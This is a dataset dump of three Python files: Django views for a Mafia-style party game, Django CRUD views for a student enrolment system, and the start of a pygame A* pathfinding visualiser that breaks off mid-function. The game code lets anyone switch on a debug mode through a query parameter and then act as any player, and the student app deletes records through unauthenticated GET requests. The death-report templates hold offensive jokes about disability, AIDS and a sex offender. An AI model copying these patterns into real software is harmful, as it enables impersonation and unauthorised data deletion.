game.players.all().order_by('id').first().id != request.session['player_id']:\n raise Exception('Only leader can update game options')\n\n if game.date_started:\n raise Exception('Can\\'t update options for a game which has started')\n\n if 'reset' in request.POST:\n game.options = None\n game.save()\n\n else:\n roles = {int(id): {'min': int(request.POST.get('min_'+id)),\n 'pc': int(request.POST.get('pc_'+id))\n }\n for id in request.POST.getlist('character_ids[]')}\n\n game.options = {\n 'roles': roles,\n 'gameplay': [x for x in request.POST.getlist('game_options[]')],\n }\n game.save()\n\n if 'start' in request.POST:\n return start(request)\n\n return HttpResponseRedirect(reverse('matthews:game'))\n\n\ndef remove_player(request, id):\n game = Game.objects.get(id=request.session['game_id'])\n if game.players.all().order_by('id').first().id != request.session['player_id']:\n raise Exception('Only leader can remove players')\n\n if game.date_started:\n raise Exception('Can\\'t remove players from a game which has started')\n\n player = Player.objects.get(id=id, game=game)\n player.delete()\n\n return HttpResponseRedirect(reverse('matthews:game'))\n\n\ndef restart(request):\n game = Game.objects.get(id=request.session['game_id'])\n for player in game.players.all():\n player.actions_by.all().delete()\n player.died_in_round = None\n player.character = None\n player.save()\n game.date_started = None\n game.save()\n return HttpResponseRedirect(reverse('matthews:game'))\n\n\ndef restart_round(request, round):\n game = Game.objects.get(id=request.session['game_id'])\n if game.players.all().order_by('id').first().id != request.session['player_id']:\n raise Exception('Only the leader can reset rounds')\n\n Action.objects.filter(done_by__game=game, round__gte=round).delete()\n for player in Player.objects.filter(game=game, died_in_round__gte=round):\n player.died_in_round = None\n player.save()\n return HttpResponseRedirect(reverse('matthews:game'))\n\n\ndef start(request):\n game = Game.objects.get(id=request.session['game_id'])\n if game.players.all().order_by('id').first().id != request.session['player_id']:\n raise Exception('Only the first player in the game can start it')\n\n rng = random.Random()\n num_players = game.players.count()\n\n\n def probabilistic_round(float):\n \"\"\" rounds a value up or down based on its decimal part, eg 2.9 -> 3 90% of the time \"\"\"\n return int(float) + int(rng.random() < float % 1)\n\n character_ids = []\n for character_id, options in game.options.get('roles').items():\n character_ids += [int(character_id)] * max(options['min'], probabilistic_round(num_players * options['pc'] / 100))\n\n character_ids += [CIVILIAN_ID] * (num_players - len(character_ids))\n\n random.Random().shuffle(character_ids)\n\n for player in game.players.all():\n player.character_id = character_ids.pop()\n player.save()\n\n game.date_started = datetime.now()\n game.save()\n\n return HttpResponseRedirect(reverse('matthews:game'))\n\n\ndef build_game_state(game):\n \"\"\" returns a string representing the state of the game \"\"\"\n action_ids = Action.objects.filter(done_by__game=game, round=calculate_round(game)) \\\n .order_by('-id').values_list('id')\n action_id_str = \"\".join([str(x[0]) for x in action_ids])\n if game.date_started:\n return \"{}-{}\".format(game.date_started, action_id_str)\n else:\n return \"{}-{}\".format(game.players.count(), hash(json.dumps(game.options)))\n\n\ndef state(request):\n game = Game.objects.get(id=request.session.get('game_id'))\n return HttpResponse(build_game_state(game))\n\n\ndef game(request):\n\n debug = request.GET.get('debug')\n if debug is not None:\n request.session['debug'] = int(debug)\n messages.add_message(request, messages.INFO, 'debug set to {}'.format(debug))\n return HttpResponseRedirect(reverse('matthews:game'))\n\n is_debug = request.session.get('debug', 0)\n play_as_id = request.GET.get('play_as_id')\n if is_debug and play_as_id:\n request.session['player_id'] = int(play_as_id)\n return HttpResponseRedirect(reverse('matthews:game'))\n\n game_id = request.session.get('game_id')\n if not game_id:\n messages.add_message(request, messages.INFO, \"You're not currently in any game, follow the link in the invite email to join one\")\n return HttpResponseRedirect(reverse('matthews:home'))\n game = Game.objects.get(id=game_id)\n round = calculate_round(game)\n my_player = Player.objects.filter(id=request.session.get('player_id')).first()\n\n if not my_player:\n messages.add_message(request, messages.INFO, 'Your player was kicked from the game')\n return HttpResponseRedirect(reverse('matthews:home'))\n\n i_am_dead = my_player.died_in_round is not None and my_player.died_in_round < round\n\n suspect = None\n if round % 2 == 0 and my_player.character_id == DETECTIVE_ID and not i_am_dead:\n investigation = Action.objects.filter(round=round-1, done_by=my_player).first()\n suspect = investigation.done_to if investigation else None\n\n players = game.players.all()\n\n\n default_roles = {\n MAFIA_ID: {'min': 1, 'pc': 25},\n DOCTOR_ID: {'min': 1, 'pc': 10},\n DETECTIVE_ID: {'min': 1, 'pc': 10},\n }\n\n role_options = game.options.get('roles') if game.options else default_roles\n # add in names to the char options array (as it's annoying to look them up in the template)\n role_options = {int(k): {**v, 'name': ROLE_NAMES[int(k)]}\n for k,v in role_options.items()}\n\n deaths = game.players.filter(died_in_round=round-1)\n\n endgame_type = get_endgame_type(game)\n bad_guy_ids = [MAFIA_ID]\n good_guy_ids = [CIVILIAN_ID, DOCTOR_ID, DETECTIVE_ID]\n day_regex = '^\\d*[02468]$'\n night_regex = '^\\d*[13579]$'\n if endgame_type is not None:\n was_alive_to_act = Q(actions_by__round__lte=F('died_in_round')) | Q(died_in_round__isnull=True)\n was_alive_to_be_acted_on = Q(actions_to__round__lte=F('died_in_round')) | Q(died_in_round__isnull=True)\n players = players.annotate(lynched_bad=Count('actions_by', distinct=True,\n filter=Q(was_alive_to_act,\n actions_by__round__iregex=day_regex,\n actions_by__done_to__character_id__in=bad_guy_ids,\n actions_by__done_to__died_in_round=F('actions_by__round')))\n ).annotate(lynched_good=Count('actions_by', distinct=True,\n filter=Q(was_alive_to_act,\n actions_by__round__iregex=day_regex,\n actions_by__done_to__character_id__in=good_guy_ids,\n actions_by__done_to__died_in_round=F('actions_by__round')))\n ).annotate(killed_bad=Count('actions_by', distinct=True,\n filter=Q(was_alive_to_act,\n character_id=MAFIA_ID,\n actions_by__round__iregex=night_regex,\n actions_by__done_to__character_id__in=bad_guy_ids,\n actions_by__done_to__died_in_round=F('actions_by__round')))\n ).annotate(killed_good=Count('actions_by', distinct=True,\n filter=Q(was_alive_to_act,\n character_id=MAFIA_ID,\n actions_by__round__iregex=night_regex,\n actions_by__done_to__character_id__in=good_guy_ids,\n actions_by__done_to__died_in_round=F('actions_by__round')))\n ).annotate(killed_doctor=Count('actions_by', distinct=True,\n filter=Q(was_alive_to_act,\n character_id=MAFIA_ID,\n actions_by__round__iregex=night_regex,\n actions_by__done_to__character_id=DOCTOR_ID,\n actions_by__done_to__died_in_round=F('actions_by__round')))\n ).annotate(killed_detective=Count('actions_by', distinct=True,\n filter=Q(was_alive_to_act,\n character_id=MAFIA_ID,\n actions_by__round__iregex=night_regex,\n actions_by__done_to__character_id=DETECTIVE_ID,\n actions_by__done_to__died_in_round=F('actions_by__round')))\n ).annotate(lives_saved=Count('actions_by__round', distinct=True,\n filter=Q(was_alive_to_act,\n character_id=DOCTOR_ID,\n actions_by__round__iregex=night_regex,\n actions_by__done_to__actions_to__done_by__character_id__in=bad_guy_ids,\n actions_by__done_to__actions_to__round=F('actions_by__round')))\n ).annotate(suspected_bad_pc=Cast(Count('actions_by', distinct=True,\n filter=Q(was_alive_to_act,\n character_id=CIVILIAN_ID,\n actions_by__round__iregex=night_regex,\n actions_by__done_to__character_id__in=bad_guy_ids)), FloatField())\n / Cast(Coalesce(F('died_in_round'), round) + 1 , FloatField())\n * 2 * 100\n ).annotate(successful_kill_pc=Cast(F('killed_good'), FloatField())\n / Cast(Coalesce(F('died_in_round') + 1, round) , FloatField())\n * 2 * 100\n # this doesn't seem to take into account if mafia was alive\n ).annotate(mafia_target=Count('actions_to', distinct=True,\n filter=Q(was_alive_to_be_acted_on,\n actions_to__round__iregex=night_regex,\n actions_to__done_by__character_id__in=bad_guy_ids))\n ).annotate(mafia_found=Count('actions_by', distinct=True,\n filter=Q(was_alive_to_act,\n character_id=DETECTIVE_ID,\n actions_by__round__iregex=night_regex,\n actions_by__done_to__character_id__in=bad_guy_ids))\n )\n\n players = list(players)\n # todo - add extra params for awards, like so:\n # eg. players[2].favourite_person = \"James\"\n else:\n players = players.annotate(has_acted=Count('actions_by', filter=Q(actions_by__round=round)))\n players = list(players)\n\n current_actions = Action.objects.filter(done_by__game=game, round=round)\n # decorate players with an action if they have one for this round\n for player in players:\n for current_action in current_actions:\n if player.id == current_action.done_by_id:\n player.action = current_action\n\n if 'show_suspicion_pc_on_death' in game.options.get('gameplay', {}) and round > 1:\n for death in deaths:\n correct_actions = death.actions_by.filter(round__iregex=night_regex,\n round__lt=round,\n done_to__character_id__in=bad_guy_ids) \\\n .count()\n death.suspicion_pc = int(correct_actions / floor(round / 2) * 100)\n\n random.seed(game.id+round)\n\n alive_players = [x for x in players if x.died_in_round is None]\n my_player.is_leader = my_player.id == players[0].id\n context = {\n 'debug': is_debug,\n 'invite_url': make_invite_url(game.id, my_player.name),\n 'role_options': role_options,\n 'gameplay_options': GAMEPLAY_OPTIONS,\n 'game': game,\n 'round': round,\n 'is_day': round % 2 == 0,\n 'players': players,\n 'alive_players': alive_players,\n 'random_leader': random.choice(alive_players),\n 'my_player': my_player,\n 'my_action': Action.objects.filter(round=round, done_by=my_player).first(),\n 'num_actions': Action.objects.filter(round=round, done_by__game=game).count(),\n 'action_undone': request.GET.get('undone'),\n 'haunting_action': get_haunting_action(my_player, round),\n 'game_state': build_game_state(game),\n 'votes': Action.objects.filter(round=round-1, done_by__game=game) \\\n .filter(Q(done_by__died_in_round__gte=round-1) | Q(done_by__died_in_round__isnull=True)) \\\n .order_by('done_to'),\n 'deaths': deaths,\n 'death_report': make_death_report(deaths[0].name) if deaths else '',\n 'suspect': suspect,\n 'MAFIA_ID': MAFIA_ID,\n 'DOCTOR_ID': DOCTOR_ID,\n 'DETECTIVE_ID': DETECTIVE_ID,\n 'CIVILIAN_ID': CIVILIAN_ID,\n 'endgame_type': endgame_type,\n }\n\n if endgame_type and game.next_game_id:\n context.update({\n 'next_invite_url': make_invite_url(game.next_game.id, my_player.name),\n })\n return render(request, 'matthews/game.html', context)\n\n\ndef get_haunting_action(player, round):\n actions = Action.objects.filter(round=round-1, done_to=player, done_by__died_in_round__lt=round-1)\n if len(actions):\n return random.Random().choice(list(actions))\n\n\ndef make_death_report(name):\n templates = [\n [\n \"A [horrible,grim,ghastly,concerning,provocative,crazy,deeply unfortunate,regrettable,worrying,largely unexpected] \\\n incident at the [bakery,school,garden center,polio ward,RSPCA,nursing home,young offenders court,Tom Thumb home for tiny little boys] \\\n left {{name}} dead as [a dingbat,a doornail,Jimmy Saville,anything,a dodo,disco,can be].\",\n\n \"Locals came across [a frankly baffling,a deeply worrying,a seemingly unsolvable,an exciting,a disgusting,some kind of] mystery \\\n this morning when they discovered the body of {{name}} \\\n locked inside [a suitcase,a mini-bar,a chest freezer,a really big one of those trinket necklaces,a coal scuttle,their own mind].\",\n\n \"There was [chaos,pandemonium,a grim silence,a lot of tutting,an exchange of stern looks,a stampede,huge crowd,funky smell] \\\n at the [farmers' market,nail salon,corner by the square,edge of town,police cells,crack of dawn,AIDs parade,theatre matinee] this morning \\\n when {{name}}'s [head,arm,spine,severed right leg,spleen,limbless torso,still-sentient brain,decapitated head] was discovered \\\n floating in the [communal milk barrel,water tower,boating pond,second of Mrs Anderson's baths,shallowest puddle around,chef's stock pot].\",\n ],[\n \"[Police,First-responders,A young child,A hungry dog,One of those skinny runners you see,A travelling circus,The rugby sevens team,Celebrity Michael Sheen] \\\n found the body which had a [spatula,baked potato,half-complete Airfix kit,thicket of arrows,punt pole,sharpened leek,miniature version of the Eiffel Tower,number of swords,whole PlayStation controller,fencing foil] \\\n stuck into its [collarbone,clavicle,right temple,belly button,jugular,nose,squishy bits,back passage,mouth,toenail (but in a fatal fashion)]. \\\n They had lost a lot of blood.\",\n\n \"The cause of death was unknown \\\"Apart from \\\n [being dead,their pale colour,male-pattern baldness,a history of alcoholism,narcolepsy,all that acne,avoidable childhood obesity,their different-length legs,a ghastly taste in fashion,poor personal hygiene,misjudged attempts at humour,general unlikeability] \\\n they appeared to be [in peak physical condition,in general good health,in ripping health,in fine form,in roaring shape,fit as a fiddle,reasonably sound of mind,quite well off,newly sober]\\\", said \\\n [the coroner,the chief of police,Mrs Ronson from number 34,a chorus of doctors,Michael Burke,no one ever,the most qualified person we could find to interview].\",\n\n \"Authorities could only identify the body by its \\\n [winning smile,nubile physique,luscious sideburns,shoddy tattoos,expertly plucked eyebrows,one warty toe,overly complex genitalia,useless prehensile tail] \\\n and [Norway,penis,Mickey Mouse,heart,unfortunately,amusingly,nipple,upsettingly,Florida,star,not-quite-swastika]-shaped birth mark.\",\n ],[\n \"Our thoughts, prayers and [best wishes,cash prizes,minimal good will,fresh tears,suspicious glances,abject despair,sandwiches,mixed feelings] \\\n are with [the family,the whole world,no one in particular,their grieving widow,the concept of peace,in usual parameters,no clear target] at this difficult time.\",\n\n \"The deceased leaves behind their pet [dog,iguana,zebra,chincilla,rattlesnake,panda,goldfish,Chubby,flamingo,colony of ants who are each named,rock,thermos flask of dna] {{name}} Jr. \\\n and an unmoved [spouse,set of triplets,mother-in-law,universe,autistic daughter,collection of vintage baseball cards,tree,conjoined twin,tape worm colony].\",\n\n \"\\\"They were always into [hang-gliding,pot-holing,archery,other people's business,self-improvement,meditation,achieving one-ness,more debt than could ever be paid off,morbid cosplay,self-asphyxiation,weird shit]\\\", \\\n [a close friend,a passing cyclist,a disembodied voice,a street drunk,everyone we spoke to,the voice of time,a generic pundit,the local minister,someone special,their accountant,their one remaining friend,someone who didn't know them that well] \\\n remarked \\\"so I guess it's what they would have wanted\\\"\",\n ],\n ]\n\n report_lines = (re.sub(r'\\[(.*?)\\]',\n lambda m: random.choice(m.group(1).split(',')),\n random.choice(x).replace('{{name}}', name)\n )\n for x in templates)\n return \"\\n\".join(report_lines)\n\n\ndef target(request):\n game = Game.objects.get(id=request.session['game_id'])\n player = Player.objects.get(id=request.session['player_id'])\n round = calculate_round(game)\n\n game_url = reverse('matthews:game')\n\n if int(request.POST['round']) != round:\n # don't save a vote from a round that's already finished (e.g. a late ghost vote)\n if player.died_in_round is None or player.died_in_round > round:\n # but only show a warning if we think they've tried to vote a second time\n msg = \"The voting for this round has closed - your last action was not counted.\"\n messages.add_message(request, messages.WARNING, msg)\n elif 'cancel' in request.POST:\n action = Action.objects.filter(done_by=player, round=round)\n action.delete()\n game_url += '?undone=1'\n else:\n target = Player.objects.filter(id=request.POST['target']).first()\n\n if target and target.game.id != game.id:\n raise Exception(\"That player's not in this game\")\n save_action(game, player, target)\n\n return HttpResponseRedirect(game_url)\n\n\ndef test404(request):\n raise Http404(\"Test: Not found\")\n\n\ndef test500(request):\n raise Exception(\"Test: An error occurred\")\n\n\ndef calculate_round(game):\n return floor(Action.objects.filter(done_by__game=game).count() / game.players.count())\n\n\ndef save_action(game, done_by, done_to):\n round = calculate_round(game)\n action = Action.objects.filter(round=round, done_by=done_by).first() \\\n or Action(round=round, done_by=done_by)\n action.done_to = done_to\n action.save()\n\n # Fill in blank actions for dead players who haven't acted so they don't hold up the game\n non_voters = yet_to_vote(game, round)\n if non_voters.count() == 0:\n for corpse in yet_to_vote(game, round, False):\n action = Action(round=round, done_by=corpse, done_to=None)\n action.save()\n\n if calculate_round(game) != round: # If this action completes a round of voting\n victims = who_died(game, round)\n for victim in victims:\n victim.died_in_round = round\n victim.save()\n\n\ndef yet_to_vote(game, round, is_alive=True):\n \"\"\" Return a query idenfying alive players who have not voted in this round\n \"\"\"\n return game.players.filter(died_in_round__isnull=is_alive) \\\n .exclude(actions_by__round=round)\n\n\ndef who_died(game, round):\n \"\"\" returns a list of players who were killed by the actions of this round\n \"\"\"\n\n if round % 2 == 0: # process day vote\n nominees = game.players.filter(actions_to__round=round,\n actions_to__done_by__died_in_round__isnull=True) \\\n .annotate(votes=Count('actions_to')) \\\n .annotate(good_votes=Count('actions_to', filter=~Q(actions_to__done_by__character_id=MAFIA_ID))) \\\n .order_by('-votes')\n nominee = nominees.first()\n num_alive_players = game.players.exclude(died_in_round__isnull=False).count()\n if nominee and ( nominee.votes > num_alive_players / 2 # Simple majority\n or nominee.good_votes == game.list_good_guys().count() # Good-guy consensus\n ):\n return [nominee]\n\n else: # process night actions\n targets = game.players.filter(actions_to__round=round,\n actions_to__done_by__died_in_round__isnull=True,\n actions_to__done_by__character_id=MAFIA_ID) \\\n .annotate(votes=Count('actions_to')) \\\n .order_by('-votes')\n\n if not targets.count():\n return[]\n target = random.Random().choice(list(targets))\n\n doctor_save_action = Action.objects.filter(done_by__game=game,\n round=round, done_to=target,\n done_by__character_id=DOCTOR_ID,\n done_by__died_in_round__isnull=True).first()\n\n num_bad_guys = game.list_bad_guys().count()\n num_good_guys = game.list_good_guys().count()\n if num_bad_guys == num_good_guys and target.votes < num_bad_guys:\n # reject a game-winning assassination if it's not done with consensus\n return []\n\n if target and not doctor_save_action:\n return [target]\n return []\n\n\ndef get_endgame_type(game):\n \"\"\" returns 'bad' if bad guys win, 'good' if good guys win else None \"\"\"\n if not game.date_started:\n return None\n\n players = game.players.filter(died_in_round__isnull=True)\n num_players = players.count()\n num_bad = game.list_bad_guys().count()\n num_good = game.list_good_guys().count()\n\n if num_bad == 0:\n return 'good'\n if num_bad > num_good:\n return 'bad'\n if num_bad == 1 and num_good == 1:\n return 'truce'\n return None\n\n\ndef cast_all(request):\n game = Game.objects.get(id=request.session['game_id'])\n round = calculate_round(game)\n non_voters = yet_to_vote(game, round)\n\n target = None #non_voters.first()\n for player in non_voters:\n save_action(game, player, target)\n\n return HttpResponseRedirect(reverse('matthews:game'))\n","repo_name":"jamespstrachan/matthews","sub_path":"src/matthews/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":29738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"70271864211","text":"import json\nfrom datetime import datetime\n\nfrom django.db.models import Q\nfrom django.http import HttpResponse\nfrom django.shortcuts import redirect\nfrom django.shortcuts import render\n\nfrom app.models import BasicInfo\nfrom app.models import ExamArea\nfrom app.models import Faculty\nfrom app.models import Language\nfrom app.models import Nationality\nfrom app.models import Sex\n\n\ndef select_html(request):\n data = dict()\n\n # 前端数据\n select_number = request.GET.get('number', '')\n select_name = request.GET.get('name', '')\n select_sex = request.GET.get('sex', '')\n select_faculty = request.GET.get('faculty', '')\n select_class_name = request.GET.get('class_name', '')\n select_exam_area = request.GET.get('exam_area', '')\n select_into_date = request.GET.get('into_date', '')\n select_language = request.GET.get('language', '')\n select_nationality = request.GET.get('nationality', '')\n\n # 当前查询条件\n data['select_number'] = select_number\n data['select_name'] = select_name\n data['select_sex'] = select_sex\n data['select_faculty'] = select_faculty\n data['select_class_name'] = select_class_name\n data['select_exam_area'] = select_exam_area\n data['select_into_date'] = select_into_date\n data['select_language'] = select_language\n data['select_nationality'] = select_nationality\n\n # 下拉框\n data['faculty'] = Faculty.objects.values_list('name', flat=True)\n data['exam_area'] = ExamArea.objects.values_list('name', flat=True)\n data['language'] = Language.objects.values_list('name', flat=True)\n data['nationality'] = Nationality.objects.values_list('name', flat=True)\n data['sex'] = Sex.objects.values_list('name', flat=True)\n\n # 拼接查询条件\n q = Q()\n q.connector = 'AND'\n if select_number != '':\n q.children.append(('number', select_number))\n if select_name != '':\n q.children.append(('name', select_name))\n if select_sex != '':\n select_sex_obj = Sex.objects.filter(name=select_sex).first()\n q.children.append(('sex', select_sex_obj))\n if select_faculty != '':\n select_faculty_obj = Faculty.objects.filter(name=select_faculty).first()\n q.children.append(('faculty', select_faculty_obj))\n if select_class_name != '':\n q.children.append(('class_name', select_class_name))\n if select_exam_area != '':\n select_exam_area_obj = ExamArea.objects.filter(name=select_exam_area).first()\n q.children.append(('exam_area', select_exam_area_obj))\n if select_into_date != '':\n select_into_date_obj = datetime.strptime(select_into_date, '%Y-%m-%d')\n q.children.append(('into_date', select_into_date_obj))\n if select_language != '':\n select_language_obj = Language.objects.filter(name=select_language).first()\n q.children.append(('language', select_language_obj))\n if select_nationality != '':\n select_nationality_obj = Nationality.objects.filter(name=select_nationality).first()\n q.children.append(('nationality', select_nationality_obj))\n\n # 查询数据\n objects = BasicInfo.objects.filter(q)\n all_data = list()\n for one_object in objects:\n one_data = dict()\n one_data['number'] = one_object.number\n one_data['name'] = one_object.name\n one_data['sex'] = one_object.sex\n one_data['faculty'] = one_object.faculty\n one_data['class_name'] = one_object.class_name\n one_data['exam_area'] = one_object.exam_area\n one_data['into_date'] = one_object.into_date\n one_data['language'] = one_object.language\n one_data['birthday'] = one_object.birthday\n one_data['nationality'] = one_object.nationality\n one_data['grade'] = one_object.grade\n one_data['email'] = one_object.email\n all_data.append(one_data)\n data['objects'] = all_data\n\n return render(request, 'select.html', data)\n\n\ndef add_html(request):\n data = dict()\n data['faculty'] = Faculty.objects.values_list('name', flat=True)\n data['exam_area'] = ExamArea.objects.values_list('name', flat=True)\n data['language'] = Language.objects.values_list('name', flat=True)\n data['nationality'] = Nationality.objects.values_list('name', flat=True)\n data['sex'] = Sex.objects.values_list('name', flat=True)\n return render(request, 'add.html', data)\n\n\n# 是否存在学号\ndef exist_number(request):\n ret = dict()\n exist = 'exist'\n number = request.GET['number']\n try:\n BasicInfo.objects.get(number=number)\n ret[exist] = True\n except Exception as e:\n ret[exist] = False\n return HttpResponse(json.dumps(ret), content_type=\"application/json\")\n\n\ndef add(request):\n # 前端数据\n number = request.POST['number']\n name = request.POST['name']\n sex = request.POST['sex']\n faculty = request.POST['faculty']\n class_name = request.POST['class_name']\n exam_area = request.POST['exam_area']\n into_date = request.POST['into_date']\n language = request.POST['language']\n birthday = request.POST['birthday']\n nationality = request.POST['nationality']\n grade = request.POST['grade']\n email = request.POST['email']\n\n # 新增对象\n add_obj = BasicInfo()\n add_obj.number = number\n add_obj.name = name\n add_obj.sex = Sex.objects.filter(name=sex).first()\n add_obj.faculty = Faculty.objects.filter(name=faculty).first()\n add_obj.class_name = class_name\n add_obj.exam_area = ExamArea.objects.filter(name=exam_area).first()\n try:\n into_date = datetime.strptime(into_date, '%Y-%m-%d')\n add_obj.into_date = into_date\n except Exception as e:\n print('格式化入学时间失败:{}'.format(e))\n add_obj.language = Language.objects.filter(name=language).first()\n try:\n print('birthday:{}'.format(birthday))\n birthday = datetime.strptime(birthday, '%Y-%m-%d')\n add_obj.birthday = birthday\n except Exception as e:\n print('格式化出生年月失败:{}'.format(e))\n add_obj.nationality = Nationality.objects.filter(name=nationality).first()\n add_obj.grade = grade\n add_obj.email = email\n add_obj.save()\n\n return redirect('/select.html')\n\n\ndef update_html(request):\n data = dict()\n number = request.GET['number']\n obj = BasicInfo.objects.get(number=number)\n\n # 通过id查询数据\n data['current_number'] = obj.number\n data['current_name'] = obj.name\n data['current_sex'] = obj.sex\n data['current_faculty'] = obj.faculty\n data['current_class_name'] = obj.class_name\n data['current_exam_area'] = obj.exam_area\n data['current_into_date'] = str(obj.into_date)\n data['current_language'] = obj.language\n data['current_birthday'] = str(obj.birthday)\n data['current_nationality'] = obj.nationality\n data['current_grade'] = obj.grade\n data['current_email'] = obj.email\n\n # 下拉框\n data['faculty'] = Faculty.objects.values_list('name', flat=True)\n data['exam_area'] = ExamArea.objects.values_list('name', flat=True)\n data['language'] = Language.objects.values_list('name', flat=True)\n data['nationality'] = Nationality.objects.values_list('name', flat=True)\n data['sex'] = Sex.objects.values_list('name', flat=True)\n return render(request, 'update.html', data)\n\n\ndef update(request):\n # 前端数据\n number = request.POST['number']\n name = request.POST['name']\n sex = request.POST['sex']\n faculty = request.POST['faculty']\n class_name = request.POST['class_name']\n exam_area = request.POST['exam_area']\n into_date = request.POST['into_date']\n language = request.POST['language']\n birthday = request.POST['birthday']\n nationality = request.POST['nationality']\n grade = request.POST['grade']\n email = request.POST['email']\n\n update_obj = BasicInfo.objects.get(number=number)\n update_obj.name = name\n update_obj.sex = Sex.objects.filter(name=sex).first()\n update_obj.faculty = Faculty.objects.filter(name=faculty).first()\n update_obj.class_name = class_name\n update_obj.exam_area = ExamArea.objects.filter(name=exam_area).first()\n try:\n into_date = datetime.strptime(into_date, '%Y-%m-%d')\n update_obj.into_date = into_date\n except Exception as e:\n print('格式化入学时间失败:{}'.format(e))\n update_obj.language = Language.objects.filter(name=language).first()\n try:\n print('birthday:{}'.format(birthday))\n birthday = datetime.strptime(birthday, '%Y-%m-%d')\n update_obj.birthday = birthday\n except Exception as e:\n print('格式化出生年月失败:{}'.format(e))\n update_obj.nationality = Nationality.objects.filter(name=nationality).first()\n update_obj.grade = grade\n update_obj.email = email\n update_obj.save()\n\n return redirect('/select.html')\n\n\ndef delete(request):\n ids = request.GET['ids']\n ids = ids.split(',')\n ids.pop(len(ids) - 1)\n for remove_id in ids:\n BasicInfo.objects.get(number=remove_id).delete()\n return redirect('/select.html')\n","repo_name":"rainbow-tan/rainbow","sub_path":"新生入学信息管理系统(django+sqllite或mysql)/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9023,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"23979301905","text":"import pygame\nimport math\nfrom queue import PriorityQueue\npygame.init()\n\nGRID_WIDTH = 800\nWIN_WIDTH = 1200\nROWS = 50 # should divide GRID_WIDTH without reminder\n\nWIN = pygame.display.set_mode((WIN_WIDTH, GRID_WIDTH))\npygame.display.set_caption(\"A* Path Finding Algorithm\")\n\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\nBLUE = (0, 255, 0)\nYELLOW = (255, 255, 0)\nWHITE = (255, 255, 255)\nBLACK = (0, 0, 0)\nPURPLE = (128, 0, 128)\nORANGE = (255, 165 ,0)\nGREY = (128, 128, 128)\nTURQUOISE = (64, 224, 208)\nBAR = (250, 240, 230)\nCAPTION = (255, 127, 80)\nBARRIER = (139, 69, 19)\n\nclock = pygame.time.Clock()\n\nfont26 = pygame.font.SysFont(\"gillsans\", 26)\nfont18 = pygame.font.SysFont(\"arial.ttf\", 18)\nfont42 = pygame.font.SysFont(\"arial.ttf\", 42)\n\nclass Spot:\n\tdef __init__(self, row, col, width, total_rows):\n\t\tself.row = row\n\t\tself.col = col\n\t\tself.x = row * width\n\t\tself.y = col * width\n\t\tself.color = WHITE\n\t\tself.neighbors = []\n\t\tself.width = width\n\t\tself.total_rows = total_rows\n\t\tself.be_updated = True\n\n\tdef get_pos(self):\n\t\treturn self.row, self.col\n\n\tdef is_closed(self):\n\t\treturn self.color == RED\n\n\tdef is_open(self):\n\t\treturn self.color == GREEN\n\n\tdef is_barrier(self):\n\t\treturn self.color == BARRIER\n\n\tdef is_start(self):\n\t\treturn self.color == ORANGE\n\n\tdef is_end(self):\n\t\treturn self.color == TURQUOISE\n\n\tdef reset(self):\n\t\tif self.be_updated:\n\t\t\tself.color = WHITE\n\t\t\treturn True\n\t\treturn False\n\n\tdef make_start(self):\n\t\tif self.be_updated:\n\t\t\tself.color = ORANGE\n\t\t\treturn True\n\t\treturn False\n\n\tdef make_closed(self):\n\t\tif self.be_updated:\n\t\t\tself.color = RED\n\t\t\treturn True\n\t\treturn False\n\n\tdef make_open(self):\n\t\tif self.be_updated:\n\t\t\tself.color = GREEN\n\t\t\treturn True\n\t\treturn False\n\n\tdef make_border(self):\n\t\tself.color = BLACK\n\n\tdef make_barrier(self):\n\t\tif self.be_updated:\n\t\t\tself.color = BARRIER\n\t\t\treturn True\n\t\treturn False\n\n\tdef make_end(self):\n\t\tif self.be_updated:\n\t\t\tself.color = TURQUOISE\n\t\t\treturn True\n\t\treturn False\n\n\tdef make_path(self):\n\t\tif self.be_updated:\n\t\t\tself.color = PURPLE\n\t\t\treturn True\n\t\treturn False\n\n\tdef draw(self, win):\n\t\tpygame.draw.rect(win, self.color, (self.x, self.y, self.width, self.width))\n\n\tdef update_neighbors(self, grid):\n\t\tself.neighbors = []\n\t\tif self.row < self.total_rows - 1 and not grid[self.row + 1][self.col].is_barrier(): # DOWN\n\t\t\tself.neighbors.append(grid[self.row + 1][self.col])\n\n\t\tif self.row > 0 and not grid[self.row - 1][self.col].is_barrier(): # UP\n\t\t\tself.neighbors.append(grid[self.row - 1][self.col])\n\n\t\tif self.col < self.total_rows - 1 and not grid[self.row][self.col + 1].is_barrier(): # RIGHT\n\t\t\tself.neighbors.append(grid[self.row][self.col + 1])\n\n\t\tif self.col > 0 and not grid[self.row][self.col - 1].is_barrier(): # LEFT\n\t\t\tself.neighbors.append(grid[self.row][self.col - 1])\n\n\tdef __lt__(self, other):\n\t\treturn False\n\n\ndef h(p1, p2):\n\tx1, y1 = p1\n\tx2, y2 = p2\n\treturn abs(x1 - x2) + abs(y1 - y2)\n\n\ndef reconstruct_path(came_from, current, draw):\n\twhile current in came_from:\n\t\tcurrent = came_from[current]\n\t\tcurrent.make_path()\n\t\tdraw()\n\n\ndef algorithm(draw, grid, start, end, start_time):\n\tcount = 0\n\topen_set = PriorityQueue()\n\topen_set.put((0, count, start))\n\tcame_from = {}\n\tg_score = {spot: float(\"inf\") for row in grid for spot in row}\n\tg_score[start] = 0\n\tf_score = {spot: float(\"inf\") for row in grid for spot in row}\n\tf_score[start] = h(start.get_pos(), end.get_pos())\n\n\topen_set_hash = {start}\n\n\twhile not open_set.empty():\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\tpygame.quit()\n\n\t\tcurrent = open_set.get()[2]\n\t\topen_set_hash.remove(current)\n\n\t\tif current == end:\n\t\t\treconstruct_path(came_from, end, draw)\n\t\t\tend.make_end()\n\t\t\treturn True\n\n\t\tfor neighbor in current.neighbors:\n\t\t\tupdate_timer(start_time)\n\t\t\ttemp_g_score = g_score[current] + 1\n\n\t\t\tif temp_g_score < g_score[neighbor]:\n\t\t\t\tcame_from[neighbor] = current\n\t\t\t\tg_score[neighbor] = temp_g_score\n\t\t\t\tf_score[neighbor] = temp_g_score + h(neighbor.get_pos(), end.get_pos())\n\t\t\t\tif neighbor not in open_set_hash:\n\t\t\t\t\tcount += 1\n\t\t\t\t\topen_set.put((f_score[neighbor], count, 